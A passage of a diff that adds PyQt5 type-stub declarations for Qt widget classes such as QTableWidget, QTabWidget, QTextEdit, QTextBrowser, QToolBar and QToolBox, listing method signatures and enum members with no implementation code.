column: int) -> None: ... + def resizeRowsToContents(self) -> None: ... + def resizeRowToContents(self, row: int) -> None: ... + def showColumn(self, column: int) -> None: ... + def showRow(self, row: int) -> None: ... + def hideColumn(self, column: int) -> None: ... + def hideRow(self, row: int) -> None: ... + def selectColumn(self, column: int) -> None: ... + def selectRow(self, row: int) -> None: ... + def indexAt(self, p: QtCore.QPoint) -> QtCore.QModelIndex: ... + def scrollTo(self, index: QtCore.QModelIndex, hint: QAbstractItemView.ScrollHint = ...) -> None: ... + def visualRect(self, index: QtCore.QModelIndex) -> QtCore.QRect: ... + def setGridStyle(self, style: QtCore.Qt.PenStyle) -> None: ... + def gridStyle(self) -> QtCore.Qt.PenStyle: ... + def setShowGrid(self, show: bool) -> None: ... + def showGrid(self) -> bool: ... + def setColumnHidden(self, column: int, hide: bool) -> None: ... + def isColumnHidden(self, column: int) -> bool: ... + def setRowHidden(self, row: int, hide: bool) -> None: ... + def isRowHidden(self, row: int) -> bool: ... + def columnAt(self, x: int) -> int: ... + def columnWidth(self, column: int) -> int: ... + def setColumnWidth(self, column: int, width: int) -> None: ... + def columnViewportPosition(self, column: int) -> int: ... + def rowAt(self, y: int) -> int: ... + def rowHeight(self, row: int) -> int: ... + def setRowHeight(self, row: int, height: int) -> None: ... + def rowViewportPosition(self, row: int) -> int: ... + def setVerticalHeader(self, header: QHeaderView) -> None: ... + def setHorizontalHeader(self, header: QHeaderView) -> None: ... + def verticalHeader(self) -> QHeaderView: ... + def horizontalHeader(self) -> QHeaderView: ... + def setSelectionModel(self, selectionModel: QtCore.QItemSelectionModel) -> None: ... + def setRootIndex(self, index: QtCore.QModelIndex) -> None: ... + def setModel(self, model: QtCore.QAbstractItemModel) -> None: ... + + +class QTableWidgetSelectionRange(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, top: int, left: int, bottom: int, right: int) -> None: ... + @typing.overload + def __init__(self, other: 'QTableWidgetSelectionRange') -> None: ... + + def columnCount(self) -> int: ... + def rowCount(self) -> int: ... + def rightColumn(self) -> int: ... + def leftColumn(self) -> int: ... + def bottomRow(self) -> int: ... + def topRow(self) -> int: ... + + +class QTableWidgetItem(PyQt5.sip.wrapper): + + class ItemType(int): + Type = ... # type: QTableWidgetItem.ItemType + UserType = ... # type: QTableWidgetItem.ItemType + + @typing.overload + def __init__(self, type: int = ...) -> None: ... + @typing.overload + def __init__(self, text: str, type: int = ...) -> None: ... + @typing.overload + def __init__(self, icon: QtGui.QIcon, text: str, type: int = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QTableWidgetItem') -> None: ... + + def isSelected(self) -> bool: ... + def setSelected(self, aselect: bool) -> None: ... + def column(self) -> int: ... + def row(self) -> int: ... + def setForeground(self, brush: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def foreground(self) -> QtGui.QBrush: ... + def setBackground(self, brush: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def background(self) -> QtGui.QBrush: ... + def setSizeHint(self, size: QtCore.QSize) -> None: ... + def sizeHint(self) -> QtCore.QSize: ... + def setFont(self, afont: QtGui.QFont) -> None: ... + def setWhatsThis(self, awhatsThis: str) -> None: ... + def setToolTip(self, atoolTip: str) -> None: ... + def setStatusTip(self, astatusTip: str) -> None: ... + def setIcon(self, aicon: QtGui.QIcon) -> None: ... + def setText(self, atext: str) -> None: ... + def setFlags(self, aflags: typing.Union[QtCore.Qt.ItemFlags, QtCore.Qt.ItemFlag]) -> None: ... + def type(self) -> int: ... + def write(self, out: QtCore.QDataStream) -> None: ... + def read(self, in_: QtCore.QDataStream) -> None: ... + def setData(self, role: int, value: typing.Any) -> None: ... + def data(self, role: int) -> typing.Any: ... + def setCheckState(self, state: QtCore.Qt.CheckState) -> None: ... + def checkState(self) -> QtCore.Qt.CheckState: ... + def setTextAlignment(self, alignment: int) -> None: ... + def textAlignment(self) -> int: ... + def font(self) -> QtGui.QFont: ... + def whatsThis(self) -> str: ... + def toolTip(self) -> str: ... + def statusTip(self) -> str: ... + def icon(self) -> QtGui.QIcon: ... + def text(self) -> str: ... + def flags(self) -> QtCore.Qt.ItemFlags: ... + def tableWidget(self) -> 'QTableWidget': ... + def clone(self) -> 'QTableWidgetItem': ... + + +class QTableWidget(QTableView): + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, rows: int, columns: int, parent: typing.Optional[QWidget] = ...) -> None: ... + + def isPersistentEditorOpen(self, item: QTableWidgetItem) -> bool: ... + def dropEvent(self, event: QtGui.QDropEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def itemFromIndex(self, index: QtCore.QModelIndex) -> QTableWidgetItem: ... + def indexFromItem(self, item: QTableWidgetItem) -> QtCore.QModelIndex: ... + def items(self, data: QtCore.QMimeData) -> typing.List[QTableWidgetItem]: ... + def supportedDropActions(self) -> QtCore.Qt.DropActions: ... + def dropMimeData(self, row: int, column: int, data: QtCore.QMimeData, action: QtCore.Qt.DropAction) -> bool: ... + def mimeData(self, items: typing.Iterable[QTableWidgetItem]) -> QtCore.QMimeData: ... + def mimeTypes(self) -> typing.List[str]: ... + def currentCellChanged(self, currentRow: int, currentColumn: int, previousRow: int, previousColumn: int) -> None: ... + def cellChanged(self, row: int, column: int) -> None: ... + def cellEntered(self, row: int, column: int) -> None: ... + def cellActivated(self, row: int, column: int) -> None: ... + def cellDoubleClicked(self, row: int, column: int) -> None: ... + def cellClicked(self, row: int, column: int) -> None: ... + def cellPressed(self, row: int, column: int) -> None: ... + def itemSelectionChanged(self) -> None: ... + def currentItemChanged(self, current: QTableWidgetItem, previous: QTableWidgetItem) -> None: ... + def itemChanged(self, item: QTableWidgetItem) -> None: ... + def itemEntered(self, item: QTableWidgetItem) -> None: ... + def itemActivated(self, item: QTableWidgetItem) -> None: ... + def itemDoubleClicked(self, item: QTableWidgetItem) -> None: ... + def itemClicked(self, item: QTableWidgetItem) -> None: ... + def itemPressed(self, item: QTableWidgetItem) -> None: ... + def clearContents(self) -> None: ... + def clear(self) -> None: ... + def removeColumn(self, column: int) -> None: ... + def removeRow(self, row: int) -> None: ... + def insertColumn(self, column: int) -> None: ... + def insertRow(self, row: int) -> None: ... + def scrollToItem(self, item: QTableWidgetItem, hint: QAbstractItemView.ScrollHint = ...) -> None: ... + def setItemPrototype(self, item: QTableWidgetItem) -> None: ... + def itemPrototype(self) -> QTableWidgetItem: ... + def visualItemRect(self, item: QTableWidgetItem) -> QtCore.QRect: ... + @typing.overload + def itemAt(self, p: QtCore.QPoint) -> QTableWidgetItem: ... + @typing.overload + def itemAt(self, ax: int, ay: int) -> QTableWidgetItem: ... + def visualColumn(self, logicalColumn: int) -> int: ... + def visualRow(self, logicalRow: int) -> int: ... + def findItems(self, text: str, flags: typing.Union[QtCore.Qt.MatchFlags, QtCore.Qt.MatchFlag]) -> typing.List[QTableWidgetItem]: ... + def selectedItems(self) -> typing.List[QTableWidgetItem]: ... + def selectedRanges(self) -> typing.List[QTableWidgetSelectionRange]: ... + def setRangeSelected(self, range: QTableWidgetSelectionRange, select: bool) -> None: ... + def removeCellWidget(self, arow: int, acolumn: int) -> None: ... + def setCellWidget(self, row: int, column: int, widget: QWidget) -> None: ... + def cellWidget(self, row: int, column: int) -> QWidget: ... + def closePersistentEditor(self, item: QTableWidgetItem) -> None: ... + def openPersistentEditor(self, item: QTableWidgetItem) -> None: ... + def editItem(self, item: QTableWidgetItem) -> None: ... + def isSortingEnabled(self) -> bool: ... + def setSortingEnabled(self, enable: bool) -> None: ... + def sortItems(self, column: int, order: QtCore.Qt.SortOrder = ...) -> None: ... + @typing.overload + def setCurrentCell(self, row: int, column: int) -> None: ... + @typing.overload + def setCurrentCell(self, row: int, column: int, command: typing.Union[QtCore.QItemSelectionModel.SelectionFlags, QtCore.QItemSelectionModel.SelectionFlag]) -> None: ... + @typing.overload + def setCurrentItem(self, item: QTableWidgetItem) -> None: ... + @typing.overload + def setCurrentItem(self, item: QTableWidgetItem, command: typing.Union[QtCore.QItemSelectionModel.SelectionFlags, QtCore.QItemSelectionModel.SelectionFlag]) -> None: ... + def currentItem(self) -> QTableWidgetItem: ... + def currentColumn(self) -> int: ... + def currentRow(self) -> int: ... + def setHorizontalHeaderLabels(self, labels: typing.Iterable[str]) -> None: ... + def setVerticalHeaderLabels(self, labels: typing.Iterable[str]) -> None: ... + def takeHorizontalHeaderItem(self, column: int) -> QTableWidgetItem: ... + def setHorizontalHeaderItem(self, column: int, item: QTableWidgetItem) -> None: ... + def horizontalHeaderItem(self, column: int) -> QTableWidgetItem: ... + def takeVerticalHeaderItem(self, row: int) -> QTableWidgetItem: ... + def setVerticalHeaderItem(self, row: int, item: QTableWidgetItem) -> None: ... + def verticalHeaderItem(self, row: int) -> QTableWidgetItem: ... + def takeItem(self, row: int, column: int) -> QTableWidgetItem: ... + def setItem(self, row: int, column: int, item: QTableWidgetItem) -> None: ... + def item(self, row: int, column: int) -> QTableWidgetItem: ... + def column(self, item: QTableWidgetItem) -> int: ... + def row(self, item: QTableWidgetItem) -> int: ... + def columnCount(self) -> int: ... + def setColumnCount(self, columns: int) -> None: ... + def rowCount(self) -> int: ... + def setRowCount(self, rows: int) -> None: ... + + +class QTabWidget(QWidget): + + class TabShape(int): + Rounded = ... # type: QTabWidget.TabShape + Triangular = ... # type: QTabWidget.TabShape + + class TabPosition(int): + North = ... # type: QTabWidget.TabPosition + South = ... # type: QTabWidget.TabPosition + West = ... # type: QTabWidget.TabPosition + East = ... # type: QTabWidget.TabPosition + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def setTabVisible(self, index: int, visible: bool) -> None: ... + def isTabVisible(self, index: int) -> bool: ... + def setTabBarAutoHide(self, enabled: bool) -> None: ... + def tabBarAutoHide(self) -> bool: ... + def tabBarDoubleClicked(self, index: int) -> None: ... + def tabBarClicked(self, index: int) -> None: ... + def hasHeightForWidth(self) -> bool: ... + def heightForWidth(self, width: int) -> int: ... + def tabCloseRequested(self, index: int) -> None: ... + def setDocumentMode(self, set: bool) -> None: ... + def documentMode(self) -> bool: ... + def setMovable(self, movable: bool) -> None: ... + def isMovable(self) -> bool: ... + def setTabsClosable(self, closeable: bool) -> None: ... + def tabsClosable(self) -> bool: ... + def setUsesScrollButtons(self, useButtons: bool) -> None: ... + def usesScrollButtons(self) -> bool: ... + def setIconSize(self, size: QtCore.QSize) -> None: ... + def iconSize(self) -> QtCore.QSize: ... + def setElideMode(self, a0: QtCore.Qt.TextElideMode) -> None: ... + def elideMode(self) -> QtCore.Qt.TextElideMode: ... + def changeEvent(self, a0: QtCore.QEvent) -> None: ... + def tabBar(self) -> QTabBar: ... + def setTabBar(self, a0: QTabBar) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def keyPressEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def showEvent(self, a0: QtGui.QShowEvent) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def tabRemoved(self, index: int) -> None: ... + def tabInserted(self, index: int) -> None: ... + def initStyleOption(self, option: QStyleOptionTabWidgetFrame) -> None: ... + def currentChanged(self, index: int) -> None: ... + def setCurrentWidget(self, widget: QWidget) -> None: ... + def setCurrentIndex(self, index: int) -> None: ... + def cornerWidget(self, corner: QtCore.Qt.Corner = ...) -> QWidget: ... + def setCornerWidget(self, widget: QWidget, corner: QtCore.Qt.Corner = ...) -> None: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + def setTabShape(self, s: 'QTabWidget.TabShape') -> None: ... + def tabShape(self) -> 'QTabWidget.TabShape': ... + def setTabPosition(self, a0: 'QTabWidget.TabPosition') -> None: ... + def tabPosition(self) -> 'QTabWidget.TabPosition': ... + def __len__(self) -> int: ... + def count(self) -> int: ... + def indexOf(self, widget: QWidget) -> int: ... + def widget(self, index: int) -> QWidget: ... + def currentWidget(self) -> QWidget: ... + def currentIndex(self) -> int: ... + def tabWhatsThis(self, index: int) -> str: ... + def setTabWhatsThis(self, index: int, text: str) -> None: ... + def tabToolTip(self, index: int) -> str: ... + def setTabToolTip(self, index: int, tip: str) -> None: ... + def setTabIcon(self, index: int, icon: QtGui.QIcon) -> None: ... + def tabIcon(self, index: int) -> QtGui.QIcon: ... + def setTabText(self, index: int, a1: str) -> None: ... + def tabText(self, index: int) -> str: ... + def setTabEnabled(self, index: int, a1: bool) -> None: ... + def isTabEnabled(self, index: int) -> bool: ... + def removeTab(self, index: int) -> None: ... + @typing.overload + def insertTab(self, index: int, widget: QWidget, a2: str) -> int: ... + @typing.overload + def insertTab(self, index: int, widget: QWidget, icon: QtGui.QIcon, label: str) -> int: ... + @typing.overload + def addTab(self, widget: QWidget, a1: str) -> int: ... + @typing.overload + def addTab(self, widget: QWidget, icon: QtGui.QIcon, label: str) -> int: ... + def clear(self) -> None: ... + + +class QTextEdit(QAbstractScrollArea): + + class AutoFormattingFlag(int): + AutoNone = ... # type: QTextEdit.AutoFormattingFlag + AutoBulletList = ... # type: QTextEdit.AutoFormattingFlag + AutoAll = ... # type: QTextEdit.AutoFormattingFlag + + class LineWrapMode(int): + NoWrap = ... # type: QTextEdit.LineWrapMode + WidgetWidth = ... # type: QTextEdit.LineWrapMode + FixedPixelWidth = ... # type: QTextEdit.LineWrapMode + FixedColumnWidth = ... # type: QTextEdit.LineWrapMode + + class ExtraSelection(sip.simplewrapper): + + cursor = ... # type: QtGui.QTextCursor + format = ... # type: QtGui.QTextCharFormat + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextEdit.ExtraSelection') -> None: ... + + class AutoFormatting(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QTextEdit.AutoFormatting', 'QTextEdit.AutoFormattingFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextEdit.AutoFormatting') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QTextEdit.AutoFormatting': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, text: str, parent: typing.Optional[QWidget] = ...) -> None: ... + + def setMarkdown(self, markdown: str) -> None: ... + def toMarkdown(self, features: typing.Union[QtGui.QTextDocument.MarkdownFeatures, QtGui.QTextDocument.MarkdownFeature] = ...) -> str: ... + def setTabStopDistance(self, distance: float) -> None: ... + def tabStopDistance(self) -> float: ... + def placeholderText(self) -> str: ... + def setPlaceholderText(self, placeholderText: str) -> None: ... + def setTextBackgroundColor(self, c: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def textBackgroundColor(self) -> QtGui.QColor: ... + def scrollContentsBy(self, dx: int, dy: int) -> None: ... + @typing.overload + def inputMethodQuery(self, property: QtCore.Qt.InputMethodQuery) -> typing.Any: ... + @typing.overload + def inputMethodQuery(self, query: QtCore.Qt.InputMethodQuery, argument: typing.Any) -> typing.Any: ... + def inputMethodEvent(self, a0: QtGui.QInputMethodEvent) -> None: ... + def insertFromMimeData(self, source: QtCore.QMimeData) -> None: ... + def canInsertFromMimeData(self, source: QtCore.QMimeData) -> bool: ... + def createMimeDataFromSelection(self) -> QtCore.QMimeData: ... + def wheelEvent(self, e: QtGui.QWheelEvent) -> None: ... + def changeEvent(self, e: QtCore.QEvent) -> None: ... + def showEvent(self, a0: QtGui.QShowEvent) -> None: ... + def focusOutEvent(self, e: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, e: QtGui.QFocusEvent) -> None: ... + def dropEvent(self, e: QtGui.QDropEvent) -> None: ... + def dragMoveEvent(self, e: QtGui.QDragMoveEvent) -> None: ... + def dragLeaveEvent(self, e: QtGui.QDragLeaveEvent) -> None: ... + def dragEnterEvent(self, e: QtGui.QDragEnterEvent) -> None: ... + def contextMenuEvent(self, e: QtGui.QContextMenuEvent) -> None: ... + def focusNextPrevChild(self, next: bool) -> bool: ... + def mouseDoubleClickEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mouseMoveEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, e: QtGui.QMouseEvent) -> None: ... + def paintEvent(self, e: QtGui.QPaintEvent) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def keyReleaseEvent(self, e: QtGui.QKeyEvent) -> None: ... + def keyPressEvent(self, e: QtGui.QKeyEvent) -> None: ... + def timerEvent(self, e: QtCore.QTimerEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def cursorPositionChanged(self) -> None: ... + def selectionChanged(self) -> None: ... + def copyAvailable(self, b: bool) -> None: ... + def currentCharFormatChanged(self, format: QtGui.QTextCharFormat) -> None: ... + def redoAvailable(self, b: bool) -> None: ... + def undoAvailable(self, b: bool) -> None: ... + def textChanged(self) -> None: ... + def zoomOut(self, range: int = ...) -> None: ... + def zoomIn(self, range: int = ...) -> None: ... + def undo(self) -> None: ... + def redo(self) -> None: ... + def scrollToAnchor(self, name: str) -> None: ... + def insertHtml(self, text: str) -> None: ... + def insertPlainText(self, text: str) -> None: ... + def selectAll(self) -> None: ... + def clear(self) -> None: ... + def paste(self) -> None: ... + def copy(self) -> None: ... + def cut(self) -> None: ... + def setHtml(self, text: str) -> None: ... + def setPlainText(self, text: str) -> None: ... + def setAlignment(self, a: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def setCurrentFont(self, f: QtGui.QFont) -> None: ... + def setTextColor(self, c: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def setText(self, text: str) -> None: ... + def setFontItalic(self, b: bool) -> None: ... + def setFontUnderline(self, b: bool) -> None: ... + def setFontWeight(self, w: int) -> None: ... + def setFontFamily(self, fontFamily: str) -> None: ... + def setFontPointSize(self, s: float) -> None: ... + def print(self, printer: QtGui.QPagedPaintDevice) -> None: ... + def print_(self, printer: QtGui.QPagedPaintDevice) -> None: ... + def moveCursor(self, operation: QtGui.QTextCursor.MoveOperation, mode: QtGui.QTextCursor.MoveMode = ...) -> None: ... + def canPaste(self) -> bool: ... + def extraSelections(self) -> typing.List['QTextEdit.ExtraSelection']: ... + def setExtraSelections(self, selections: typing.Iterable['QTextEdit.ExtraSelection']) -> None: ... + def cursorWidth(self) -> int: ... + def setCursorWidth(self, width: int) -> None: ... + def textInteractionFlags(self) -> QtCore.Qt.TextInteractionFlags: ... + def setTextInteractionFlags(self, flags: typing.Union[QtCore.Qt.TextInteractionFlags, QtCore.Qt.TextInteractionFlag]) -> None: ... + def setAcceptRichText(self, accept: bool) -> None: ... + def acceptRichText(self) -> bool: ... + def setTabStopWidth(self, width: int) -> None: ... + def tabStopWidth(self) -> int: ... + def setOverwriteMode(self, overwrite: bool) -> None: ... + def overwriteMode(self) -> bool: ... + def anchorAt(self, pos: QtCore.QPoint) -> str: ... + @typing.overload + def cursorRect(self, cursor: QtGui.QTextCursor) -> QtCore.QRect: ... + @typing.overload + def cursorRect(self) -> QtCore.QRect: ... + def cursorForPosition(self, pos: QtCore.QPoint) -> QtGui.QTextCursor: ... + @typing.overload + def createStandardContextMenu(self) -> QMenu: ... + @typing.overload + def createStandardContextMenu(self, position: QtCore.QPoint) -> QMenu: ... + def loadResource(self, type: int, name: QtCore.QUrl) -> typing.Any: ... + def ensureCursorVisible(self) -> None: ... + def append(self, text: str) -> None: ... + def toHtml(self) -> str: ... + def toPlainText(self) -> str: ... + @typing.overload + def find(self, exp: str, options: typing.Union[QtGui.QTextDocument.FindFlags, QtGui.QTextDocument.FindFlag] = ...) -> bool: ... + @typing.overload + def find(self, exp: QtCore.QRegExp, options: typing.Union[QtGui.QTextDocument.FindFlags, QtGui.QTextDocument.FindFlag] = ...) -> bool: ... + @typing.overload + def find(self, exp: QtCore.QRegularExpression, options: typing.Union[QtGui.QTextDocument.FindFlags, QtGui.QTextDocument.FindFlag] = ...) -> bool: ... + def setWordWrapMode(self, policy: QtGui.QTextOption.WrapMode) -> None: ... + def wordWrapMode(self) -> QtGui.QTextOption.WrapMode: ... + def setLineWrapColumnOrWidth(self, w: int) -> None: ... + def lineWrapColumnOrWidth(self) -> int: ... + def setLineWrapMode(self, mode: 'QTextEdit.LineWrapMode') -> None: ... + def lineWrapMode(self) -> 'QTextEdit.LineWrapMode': ... + def setUndoRedoEnabled(self, enable: bool) -> None: ... + def isUndoRedoEnabled(self) -> bool: ... + def documentTitle(self) -> str: ... + def setDocumentTitle(self, title: str) -> None: ... + def setTabChangesFocus(self, b: bool) -> None: ... + def tabChangesFocus(self) -> bool: ... + def setAutoFormatting(self, features: typing.Union['QTextEdit.AutoFormatting', 'QTextEdit.AutoFormattingFlag']) -> None: ... + def autoFormatting(self) -> 'QTextEdit.AutoFormatting': ... + def currentCharFormat(self) -> QtGui.QTextCharFormat: ... + def setCurrentCharFormat(self, format: QtGui.QTextCharFormat) -> None: ... + def mergeCurrentCharFormat(self, modifier: QtGui.QTextCharFormat) -> None: ... + def alignment(self) -> QtCore.Qt.Alignment: ... + def currentFont(self) -> QtGui.QFont: ... + def textColor(self) -> QtGui.QColor: ... + def fontItalic(self) -> bool: ... + def fontUnderline(self) -> bool: ... + def fontWeight(self) -> int: ... + def fontFamily(self) -> str: ... + def fontPointSize(self) -> float: ... + def setReadOnly(self, ro: bool) -> None: ... + def isReadOnly(self) -> bool: ... + def textCursor(self) -> QtGui.QTextCursor: ... + def setTextCursor(self, cursor: QtGui.QTextCursor) -> None: ... + def document(self) -> QtGui.QTextDocument: ... + def setDocument(self, document: QtGui.QTextDocument) -> None: ... + + +class QTextBrowser(QTextEdit): + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def doSetSource(self, name: QtCore.QUrl, type: QtGui.QTextDocument.ResourceType = ...) -> None: ... + def sourceType(self) -> QtGui.QTextDocument.ResourceType: ... + def historyChanged(self) -> None: ... + def forwardHistoryCount(self) -> int: ... + def backwardHistoryCount(self) -> int: ... + def historyUrl(self, a0: int) -> QtCore.QUrl: ... + def historyTitle(self, a0: int) -> str: ... + def setOpenLinks(self, open: bool) -> None: ... + def openLinks(self) -> bool: ... + def setOpenExternalLinks(self, open: bool) -> None: ... + def openExternalLinks(self) -> bool: ... + def clearHistory(self) -> None: ... + def isForwardAvailable(self) -> bool: ... + def isBackwardAvailable(self) -> bool: ... + def paintEvent(self, e: QtGui.QPaintEvent) -> None: ... + def focusNextPrevChild(self, next: bool) -> bool: ... + def focusOutEvent(self, ev: QtGui.QFocusEvent) -> None: ... + def mouseReleaseEvent(self, ev: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, ev: QtGui.QMouseEvent) -> None: ... + def mouseMoveEvent(self, ev: QtGui.QMouseEvent) -> None: ... + def keyPressEvent(self, ev: QtGui.QKeyEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def anchorClicked(self, a0: QtCore.QUrl) -> None: ... + @typing.overload + def highlighted(self, a0: QtCore.QUrl) -> None: ... + @typing.overload + def highlighted(self, a0: str) -> None: ... + def sourceChanged(self, a0: QtCore.QUrl) -> None: ... + def forwardAvailable(self, a0: bool) -> None: ... + def backwardAvailable(self, a0: bool) -> None: ... + def reload(self) -> None: ... + def home(self) -> None: ... + def forward(self) -> None: ... + def backward(self) -> None: ... + @typing.overload + def setSource(self, name: QtCore.QUrl) -> None: ... + @typing.overload + def setSource(self, name: QtCore.QUrl, type: QtGui.QTextDocument.ResourceType) -> None: ... + def loadResource(self, type: int, name: QtCore.QUrl) -> typing.Any: ... + def setSearchPaths(self, paths: typing.Iterable[str]) -> None: ... + def searchPaths(self) -> typing.List[str]: ... + def source(self) -> QtCore.QUrl: ... + + +class QToolBar(QWidget): + + @typing.overload + def __init__(self, title: str, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def isFloating(self) -> bool: ... + def setFloatable(self, floatable: bool) -> None: ... + def isFloatable(self) -> bool: ... + def event(self, event: QtCore.QEvent) -> bool: ... + def paintEvent(self, event: QtGui.QPaintEvent) -> None: ... + def changeEvent(self, event: QtCore.QEvent) -> None: ... + def actionEvent(self, event: QtGui.QActionEvent) -> None: ... + def initStyleOption(self, option: QStyleOptionToolBar) -> None: ... + def visibilityChanged(self, visible: bool) -> None: ... + def topLevelChanged(self, topLevel: bool) -> None: ... + def toolButtonStyleChanged(self, toolButtonStyle: QtCore.Qt.ToolButtonStyle) -> None: ... + def iconSizeChanged(self, iconSize: QtCore.QSize) -> None: ... + def orientationChanged(self, orientation: QtCore.Qt.Orientation) -> None: ... + def allowedAreasChanged(self, allowedAreas: typing.Union[QtCore.Qt.ToolBarAreas, QtCore.Qt.ToolBarArea]) -> None: ... + def movableChanged(self, movable: bool) -> None: ... + def actionTriggered(self, action: QAction) -> None: ... + def setToolButtonStyle(self, toolButtonStyle: QtCore.Qt.ToolButtonStyle) -> None: ... + def setIconSize(self, iconSize: QtCore.QSize) -> None: ... + def widgetForAction(self, action: QAction) -> QWidget: ... + def toolButtonStyle(self) -> QtCore.Qt.ToolButtonStyle: ... + def iconSize(self) -> QtCore.QSize: ... + def toggleViewAction(self) -> QAction: ... + @typing.overload + def actionAt(self, p: QtCore.QPoint) -> QAction: ... + @typing.overload + def actionAt(self, ax: int, ay: int) -> QAction: ... + def actionGeometry(self, action: QAction) -> QtCore.QRect: ... + def insertWidget(self, before: QAction, widget: QWidget) -> QAction: ... + def addWidget(self, widget: QWidget) -> QAction: ... + def insertSeparator(self, before: QAction) -> QAction: ... + def addSeparator(self) -> QAction: ... + @typing.overload + def addAction(self, action: QAction) -> None: ... + @typing.overload + def addAction(self, text: str) -> QAction: ... + @typing.overload + def addAction(self, icon: QtGui.QIcon, text: str) -> QAction: ... + @typing.overload + def addAction(self, text: str, slot: PYQT_SLOT) -> QAction: ... + @typing.overload + def addAction(self, icon: QtGui.QIcon, text: str, slot: PYQT_SLOT) -> QAction: ... + def clear(self) -> None: ... + def orientation(self) -> QtCore.Qt.Orientation: ... + def setOrientation(self, orientation: QtCore.Qt.Orientation) -> None: ... + def isAreaAllowed(self, area: QtCore.Qt.ToolBarArea) -> bool: ... + def allowedAreas(self) -> QtCore.Qt.ToolBarAreas: ... + def setAllowedAreas(self, areas: typing.Union[QtCore.Qt.ToolBarAreas, QtCore.Qt.ToolBarArea]) -> None: ... + def isMovable(self) -> bool: ... + def setMovable(self, movable: bool) -> None: ... + + +class QToolBox(QFrame): + + def __init__(self, parent: typing.Optional[QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def changeEvent(self, a0: QtCore.QEvent) -> None: ... + def showEvent(self, e: QtGui.QShowEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def itemRemoved(self, index: int) -> None: ... + def itemInserted(self, index: int) -> None: ... + def currentChanged(self, index: int) -> None: ... + def setCurrentWidget(self, widget: QWidget) -> None: ... + def setCurrentIndex(self, index: int) -> None: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + def indexOf(self, widget: QWidget) -> int: ... + def widget(self, index: int) -> QWidget: ... + def currentWidget(self) -> QWidget: ... + def currentIndex(self) -> int: ... + def itemToolTip(self, index: int) -> str: ... + def setItemToolTip(self, index: int, toolTip: str) -> None: ... + def itemIcon(self, index: int) -> QtGui.QIcon: ... + def setItemIcon(self, index: int, icon: QtGui.QIcon) -> None: ... + def itemText(self, index: int) -> str: ... + def setItemText(self, index: int, text: str) -> None: ... + def isItemEnabled(self, index: int) -> bool: ... + def setItemEnabled(self, index: int, enabled: bool) -> None: ... + def removeItem(self, index: int) -> None: ... + @typing.overload + def insertItem(self, index: int, item: QWidget, text: str) -> int: ... + @typing.overload + def insertItem(self, index: int, widget: QWidget, icon: QtGui.QIcon, text: str) -> int: ... + @typing.overload + def addItem(self, item: QWidget, text: str) -> int: ... + @typing.overload + def addItem(self, item: QWidget, iconSet: QtGui.QIcon, text: str) -> int: ... + + +class QToolButton(QAbstractButton): + + class ToolButtonPopupMode(int): + DelayedPopup = ... # type: QToolButton.ToolButtonPopupMode + MenuButtonPopup = ... # type: QToolButton.ToolButtonPopupMode + InstantPopup = ... # type: QToolButton.ToolButtonPopupMode + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def hitButton(self, pos: QtCore.QPoint) -> bool: ... + def nextCheckState(self) -> None: ... + def mouseReleaseEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def changeEvent(self, a0: QtCore.QEvent) -> None: ... + def timerEvent(self, a0: QtCore.QTimerEvent) -> None: ... + def leaveEvent(self, a0: QtCore.QEvent) -> None: ... + def enterEvent(self, a0: QtCore.QEvent) -> None: ... + def actionEvent(self, a0: QtGui.QActionEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def mousePressEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def initStyleOption(self, option: QStyleOptionToolButton) -> None: ... + def triggered(self, a0: QAction) -> None: ... + def setDefaultAction(self, a0: QAction) -> None: ... + def setToolButtonStyle(self, style: QtCore.Qt.ToolButtonStyle) -> None: ... + def showMenu(self) -> None: ... + def autoRaise(self) -> bool: ... + def setAutoRaise(self, enable: bool) -> 